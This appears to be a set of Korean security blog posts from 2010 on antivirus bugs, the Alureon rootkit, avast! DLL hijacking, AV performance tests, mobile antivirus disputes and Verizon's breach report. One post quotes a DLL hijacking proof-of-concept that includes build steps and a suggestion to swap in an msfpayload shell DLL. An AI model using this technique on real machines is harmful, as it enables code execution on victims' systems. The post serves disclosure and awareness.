백신(안티바이러스) 제품은 보통 1-2년마다 오진이라든지 다양한 문제로 인해 사용자에게 불편을 주는 '병 주고 약 주는' 소프트웨어입니다. ESET이 개발하여 판매하는 NOD32 안티바이러스 제품에서 최신 업데이트를 설치한 이후에 치명적인 문제점이 발생하는 경우가 있어 간단히 소개합니다.
최신 업데이트 중에서 5418 버전(2010년 9월 2일 오전 6:00, PST 기준)을 설치한 윈도우 XP SP3, 윈도우 서버 2003/2008 R2 버전의 사용자들에게서 "ekrn.exe" 문제가 발생하고 있으며, 윈도우 7에서는 문제가 나타나지 않고 있습니다. 특히, 현재 문제점이 완벽하게 해결되지 않은 상태라고 합니다.
< 패치 설치 후에 발생하는 오류 메시지>
문제점은 안티바이러스 제품이 탐색기(explorer)를 잠가버리는 현상으로 알려져 있으며, 기존에 실행하던 작업이 있는 경우에는 작업 관리자(taskmgr)에서 수동으로 프로그램을 옮겨가면서 작업을 마무리하고, 컴퓨터를 완전히 껐다가 켜야(cold boot) 한다고 합니다.
더욱이 문제가 되는 부분은 바로 서버 운영체제입니다. 이 문제로 인해 서버를 관리자가 수동으로 꺼야하는데, 대부분의 서버들은 IDC와 같이 물리적으로 멀리 떨어져 있는 곳에 있는 경우가 많기 때문입니다.
조속히 문제점을 해결하는 패치가 나와야 하며, 특히 서버쪽에서는 담당자가 운영하는 서비스가 제대로 동작하고 있는지 파악해야 합니다.
악성 프로그램 중의 하나인 Alureon 루트킷이 드디어 64비트 운영체제에서 동작하는 사례가 발표되어 이를 정리해 봤습니다.
윈도우 XP 시절부터 윈도우 비스타/7까지 개인용 운영체제에는 32비트와 64비트가 나눠져 있습니다.
일반적인 프로그램에서는 그리 큰 문제가 되지 않겠지만, 안티 바이러스(백신)와 같이 시스템에 매우 밀접한 관계를 맺고 있는 프로그램은 호환성 측면에서 제대로 64비트에 대응하지 못하여 온 것이 사실입니다.
실제로 국내 무료 안티바이러스를 보자면, V3 Lite 제품이 64비트를 지원하기 시작한 때는 2010년 3월 24일이며, 알약의 경우에는 아직 지원되지 않고 있습니다. 참고로, 편법으로 알약을 설치하는 방법이 인터넷 상에서 널리 알려져 있지만, 이 글을 읽으시는 분들은 절대 그렇게 설치하지 않도록 주의하십시오.
반대로 악성 프로그램(바이러스, Malware)의 입장에서도 기존 32비트 운영체제에서는 숙달된 프로그래밍 실력, 경험을 바탕으로 다양한 악성 프로그램을 배포해 왔습니다. 악성 프로그램에는 스파이웨어, 바이러스, 웜 등 다양한 형태가 있습니다만 특히, 악성 프로그램 중에서 가장 어려운 기법에 속하는 루트킷(rootkit)에서는 64비트 운영체제에서 제대로된 공격을 하지 못했습니다.
이번에 발견된 Alureon 루트킷의 변종은 쉽게 발견된 것이 아니라, 여러가지 단계를 거쳐 마이크로소프트가 분석 및 치료를 해 오는 과정에서 나온 결과여서 더욱더 충격적이지 않을 수 없습니다.
최초에 발견된 Alureon 루트킷은 2010년 2월 초에 있었던 정기 보안 업데이트 시에 블루스크린을 보여주는 사례로 부터 시작되었습니다. 이를 조사하던 중에 나온 악성 프로그램이 바로 Alureon 입니다.
하지만, 최근 조사에 따르면 기존 Alureon이 드라이버를 감염시키는 방식이었지만, MBR(Master Boot Record)에 감염시키는 새로운 형태의 변종이 출현했다는 사실을 밝혀냈습니다. 실제 64비트 운영체제에 영향을 미치지는 않지만, 가상 파일시스템의 일부분인 ldr64라는 파일에 삽입됩니다.
게다가, 변종의 새로운 형태는 윈도우 비스타/7 64비트 시스템을 감염시킬 수 있다는 사실도 알려졌습니다. 참고로, 윈도우 XP, 윈도우 서버 2003 64비트에서는 시스템이 부팅되지 않도록 손상시킵니다.
64비트 윈도우 운영체제에서는 시스템에 관련된 중요한 파일을 보호하고 변조하지 못하게 하는 다양한 기술이 적용되어 있으며 이중 대표적인 부분이 바로 파일 서명과 PatchGuard입니다. 만약 커널에 관련된 파일을 변경하려고 시도할 경우에는 이를 예방하게 됩니다.
하지만, 이러한 기술이 실행되기 전에 부팅 과정 중에 감염시키는 방법이 성공하게 되면 서명되지 않은 드라이버를 정상적으로 삽입하여 실행할 수 있게 되고, 이러는 과정으로 감염이 이뤄지게 됩니다.
문제는 루트킷을 찾아내는 방법이 그리 수월치 않다는 점입니다. 루트킷이 동작하게 되면 커널 상에서 동작하게 되므로 안티바이러스와 같이 진단 프로그램에서 찾아내기가 매우 어렵습니다. Alureon 루트킷의 경우에는 아래의 방법을 통해 사용자가 직접 루트킷에 감염되어 있는지 확인할 수 있습니다.
즉, 디스크 관리에서 루트킷의 설치된 경우에는 윈도우의 시스템 드라이브와 같은 설치된 파티션이 제대로 보이지 않게 됩니다.
마이크로소프트는 이러한 문제점을 해결하기 위한 방안을 아직까지 제시하지 못하고 있습니다. 다만, 동사가 제공하는 MSE(Microsoft Essentials), 포어프론트 클라이언트 시큐리티, 포어프론트 서버 시큐리티, TMG 등에서 Alureon 루트킷을 진단 및 삭제할 수 있다고 밝히고 있습니다.
그리고, 시만텍에 따르면 Backdoor.Tidserv.L 이라는 악성 프로그램은 32비트와 64비트에서 모두 동작한다고 합니다. 즉, 운영체제를 감지하여 적절한 방식으로 감염을 시키는 것입니다.
이러한 사례를 통해 볼 때, 64비트 운영체제도 이제 악성 프로그램의 손아귀로 들어갈 날이 얼마 남지 않은 것으로 예상됩니다.
TYPO3는 국내에서 그리 많이 알려져 있진 않지만, 계속 소개하는 이유는 바로 오픈소스 계열의 웹 애플리케이션의 취약점에 대해 알리기 위해서 입니다.
실제 외국의 사례를 볼 때, Joomla, WordPress와 같이 널리 사용되는 프로그램에서 취약점이 발생할 경우에는 엄청난 위력을 발휘하기 때문입니다.
하여튼, 지난 번에 TYPO3에 관련된 웹 취약점을 언급한 적이 있습니다. TYPE3에서는 XSS(cross-site scripting) 리디렉션, SQL Injection, 인증 및 세션에 관련된 문제점, 정보 누출, 의도적인 코드 실행 등등, 취약점 종합백화점이라고 말할 수 있었습니다.
AV-Comparatives는 VirusBTN과 더불어 전세계적으로 어느정도 권위를 인정받는 안티바이러스 평가 기관 중의 하나입니다.
이들 기관에서는 매달 운영체제 별로 또는 특정한 기능을 중심으로 테스트를 진행하고 그 결과를 웹사이트에 공개하고 있습니다.
이번 달에는 AV-Comparatives에서 비교적 관심을 가질만한 부분을 평가했는데 바로 안티바이러스의 체감 성능입니다. 즉, 백신(안티바이러스)를 설치하고 나서 컴퓨터의 속도가 많이 느려졌는지를 수치화하는 것으로 사용자가 백신을 선택하는 기준 중에 가장 중요한 부분 중의 하나가 아닐까 싶습니다.
이번 평가에 선정된 제품들은 다음과 같습니다. 특이한 사항은 드디어 Kaspersky 2011 버전이 추가되었다는 것입니다. 기존 VirusBTN에서는 2011 버전이 채택되지 않았습니다. 좀~ 더 발빠른 행보가 아닐까 싶습니다. 그외 다른 제품도 마찬가집니다. 2011 버전이 많이 테스트된 것을 보니, 대세는!!!
avast! Internet Security 5.0
AVG Internet Security 9.0
BitDefender Internet Security 2010
eScan Internet Security Suite 10
ESET Smart Security 4.2
F-Secure Internet Security 2011
G DATA Internet Security 2011
Kaspersky Internet Security 2011
Kingsoft Internet Security 2010
Norman Security Suite Pro 8
Panda Internet Security 2011
PC Tools Internet Security 2011
Symantec Norton Internet Security 2011
Trend Micro Internet Security Pro 2010
성능을 평가하는 방법은 바로 파일을 조작(처리)하는 방법으로 수치화하는 것이 대부분의 기술적인 방법입니다. 사용된 방법은 다음과 같습니다.
파일 복사(File copying) 압축 및 해제(Archiving / Unarchiving) 인코딩/다른 방식으로 인코딩(Encoding / Transcoding)
프로그램 설치/제거(Installing / Uninstalling applications)
프로그램 실행(Launching applications)
파일 다운로드(Downloading files) Worldbench Testing Suite (XP)
주: 사용자가 많이 겪는 부분은 진하게 표시했습니다. 좀더 고려해서 봐야 할 부분이기도 합니다.
흥미로운 부분은 바로 WorldBench Testing Suite가 추가되었다는 것입니다. WorldBench는 PC의 성능을 측정하는 프로그램 중의 하나로 꽤 괜찮은 평가를 받고 있습니다.
백신 제품의 성능에 대해 세부적으로 설명하기 보다는 최종적인 결과를 선보이고 마무리하고자 합니다.
기존의 테스트 결과와는 아주 딴판입니다.
보통 진단율 테스트에서는 G-DATA라든지 Kaspersky와 같은 제품이 1등~을 먹었습니다만, 이번 테스트에는 다들 힘들게 살아(!) 가고 있습니다.
국내에서 소프트웨어 회사로 열심히 삽질하는 여러 회사들이 채택하여 이용하는 비트디펜더도 조금은 안타깝습니다. 이로 국내 몇천만명이 바로 시간적인 손해를 보게 됩니다. 다 합치면 몇십만 광년(!)은 되겠죠!!!
즉, 보안을 강화하기 위해서는 사용자에 대한 불편함이 나타나기 마련입니다. 중도!의 길을 걷는 것이 얼마나 어려운지 여기서도 충분히 공감할 수 있을 것입니다.
작년부터 애플의 아이폰 국내 출시으로 인해 시작된 스마트폰의 열풍, 그리고 올해 안드로이드 운영체제를 채택하여 나오기 시작한 갤럭시S, 옵티머스 등등, 다양한 스마트폰이 쏟아져 나오고 있습니다.
하지만, 보안이 완벽한 운영체제, 프로그램(앱)은 없습니다. 애플에서도 다양한 문제점이 발표되어 IOS(운영체제)에서 패치되고 있으며, 특히 안드로이드 운영체제는 개방성 때문에 악성코드에 대한 위협이 대두되고, 실제 피해 사례가 나타나서 논란이 되고 있습니다.
보안 업계에서는 스마트폰 분야가 새로운 블루오션이 될 수 있다는 판단을 할 수 있을 것이로, 이러한 분야에 대한 보안을 강화하기 위한 제품을 출시하고 있습니다.
하지만, 국내 보안 업체는 보안을 강화하는 노력을 하는 것일까요? 아니면, 가치도 없는 프로그램(백신이라 칭하지 않음)을 만들어서 사기를 치는 것일까요? 이 점에 대해 간단히 정리해 봅니다.
1. 아이폰의 백신 무용론 논란 - 지난 1월 초에 보안 업체인 NSHC는 세계 최초로 아이폰(IOS)에서 동작하는 백신을 개발했다고 언론에 공개했습니다. 하지만, 실제로 애플 앱스토어는 이에 대한 승인을 거절하였습니다. 애플의 입장에서 백신을 허락한다는 것은 IOS가 구조적으로 안전하지 않다는 것을 내포하기 때문입니다. 이에 대한 자세한 내용은 아래 기사를 참고하십시오.
흥미로운 부분은 바로 NSHC가 개발하여 앱스토어에 당당하게 등록되어 있다는 Virobot_Sanne이 검색되지 않는다는 점입니다. 도대체 진실은 무엇일까요?
2. nProtect의 불완전한 모바일 백신 논란 - 이 건은 얼마 전에 발생한 것으로, 스마트폰을 사용하신다면 대부분 알고 있을 정도로 매우 논란이 되었던 사건입니다. 국내 게임쪽 보안 솔루션에 한축을 담당하고 있는 nProtect에서는 안드로이드에서 사용할 수 있는 백신을 개발하여 배포하였으나, 성능 저하 등의 기술적인 문제로 인해 많은 질타를 받게 되었고, 그 이후에 안정화 작업을 거쳐 배포된 것으로 알고 있습니다.
3. 스마트폰의 USIM S/N과 IMEI 추출 및 통신 전송으로 인한 악성 프로그램 논란 - 현재 논쟁거리가 되고 있으며, 다양한 회사들이 서로 싸우고 있는 형국입니다. 증권 프로그램과 같은 앱에서는 휴대폰에는 이러한 정보를 사용자를 식별하는 수단으로 이용하고 있으며, 특히 암호화가 되지 않어 전송된다는 이유만으로 악성 프로그램으로 분류하는 새로운 분류 기법(!)을 선보이고 있습니다.
지금까지 3가지 사례를 통해 느끼는 바는 바로, 국내 보안 업체는 보안 업체에서 가훈 아니 사훈으로 손꼽을 수 있는 '정직, 신뢰'라는 단어를 망각하고 있다고 볼 수 밖에 없다. 보안 업체는 자신의 회사 이름 즉, 얼굴에 똥칠을 하는 프로그램을 개발하는 짓부터, 언론 플레이를 통해서 논점을 흐리는 행위, 세계최초라는 단어에 사로잡혀 말도 안되는 제품을 개발하는 행위 등등이 바로 그것입니다.
이번 주에 새롭게 출현한, 새롭다기 보다는 새롭게 다시 선보이는 DLL Hijacking 취약점에 대해서 언급한 적이 있습니다만, 사태가 기하급수적으로 커질 조짐을 보이고 있습니다. 아래 자료는 무료백신으로 인기있는 어베스트! 안티바이러스 제품에서도 DLL Hijacking 취약점이 있다는 자료입니다.
최근 보안 아니 윈도우 업계를 강타하고 있는 취약점이 바로 DLL Hijacking입니다. DLL은 윈도우 실행파일이 참조하는 라이브러리 파일인데, 문제는 DLL 파일의 경로를 제대로 검증하지 않아 이를 통해 공격을 하는 형태로 이미 예전부터 예견되어 있던 취약점입니다.
DLL Hijacking 취약점에 대한 자세한 사항은 아래 링크를 참고하시면 금방 이해가 되실 것으로 생각됩니다.
하여튼, 어베스트! 안티바이러스 제품의 최신 버전에서도 DLL Hijacking 취약점을 가지고 있는 것으로 알려져 있습니다. 어베스트!의 최신 버전은 V5.0.594이며, mfc90loc.dll 파일에서 이 취약점이 존재합니다. mfc90loc.dll은 라이선스 파일에 관련된 DLL 입니다.
# Exploit Title: avast! license files DLL Hijacking Exploit (mfc90loc.dll)
# Date: 25/08/2010
# Author: Bruno Filipe (diwr) http://digitalacropolis.us
# Software Link: http://www.avast.com <http://www.bsplayer.org>
# Version: <= 5.0.594
# Tested on: WinXP SP2, WinXP SP3
# Thx TheLeader ;)
#
----------------------------------------------------------------------------------------------------------
# This should work with avast license files (.avastlic)
# 1. gcc dllmain.c -o mfc90loc.dll
# 2. Put mfc90ptb.dll in the same directory of an avast license file (EG:
anything.avastlic)
# 3. You can generate a msfpayload DLL and spawn a shell, for example.
#
----------------------------------------------------------------------------------------------------------
#include <windows.h>
int main()
{
WinExec("calc", SW_NORMAL);
exit(0);
return 0;
}
베리즌(Verizon) 사가 발표한 2010년도 데이터 침해 사고 분석 보고서에 따르면 데이터 누출 사고의 96% 정도는 간단한 조치 또는 제어만으로도 충분히 예방할 수 있었다는 무척이나 황당한 내용이 공개되었습니다. 여기서 황당하다는 의미는 '의외'라는 의미이며, 그만큼 보안에 대해 무감각했었다는 표현입니다.
이번 보고서는 베리즌 사의 Business Risk Team과 USSS(U.S. Secret Service)의 공동 조사 결과로, 이미 6년간의 지속된 보고서가 발간되어 왔으며 약 900 개 이상의 침해사고 및 9억 개 이상의 데이터 누출 사고를 정리한 것입니다.
간단하게 보고서를 정리하면 다음과 같습니다.
1. 데이터 누출 사고의 70%는 외부 요인이 저질렀으며, 지난 해보다는 약 9%가 감소했습니다.
2. 내부자로 인한 사고는 48%로, 지난 해보다는 약 26% 증가했습니다.
3. 여러 사람이 가담한 사고는 27%로, 지난 해보다는 약 12% 감소했습니다.
4. 사업을 제휴한 파트너에게서 11%가 발생했으며, 이는 지난해 보다 23%나 감소했습니다.
보고서에 따른 파트너에서 발생하는 사고는 지속적으로 감소하고 있으며, 이는 회사의 보안 정책이 강화된 결과로 보입니다.
또한, 사고 원인을 살펴보면 다음과 같습니다.
1. 잘못된 권한 설정으로 발생한 사고는 48%이고, 지난해보다 26% 증가했습니다.
2. 해킹으로 인한 사고는 40%이고, 지난 해보다는 24% 감소했습니다.
3. 악성 프로그램으로 인한 사고는 38%이고, 지난 해와 비슷합니다.
4. 사회 공학적 기법으로 인한 사고는 28%로, 지난 해보다 16% 증가했습니다.
5. 물리적인 공격은 15%로, 작년보다 6% 증가했습니다.
사고 원인을 놓고 본다면 가장 많이 발생하는 실수가 바로 권한의 부적절한 설정(Privilege misuse)입니다. 이는 파일 시스템, FTP, 웹 애플리케이션에서 흔히 발생할 수 있는 것으로 관리자가 약간만 신경쓴다면 예방할 수 있는 부분입니다.
또한, 보고서에서는 중점적으로 살펴보거나 점검해야 할 사항을 정리했습니다.
1. 불필요한 데이터가 있는 경우 미리 제거한다.
2. 필요한 권한만 부여한다.
3. 웹 애플리케이션의 보안성 테스트 및 검토를 한다.
4. 사용자 권한 및 활동을 검사한다.
5. 아웃바운드 트래픽을 필터링한다.
6. 이벤트 로그를 분석한다.
위에 언급한 사항 가운데 회사에서 사용하는 애플리케이션/서비스에 맞도록 검토하면 데이터 침해 사고로부터 보다 안전해 질 수 있을 것으로 보여집니다.
참고로, 분석한 침해 사고의 대부분은 중/대 기업에 편중되어 있다보니, 실제적으로는 약간 논점이 다를 수도 있다는 점을 고려하시기 바랍니다.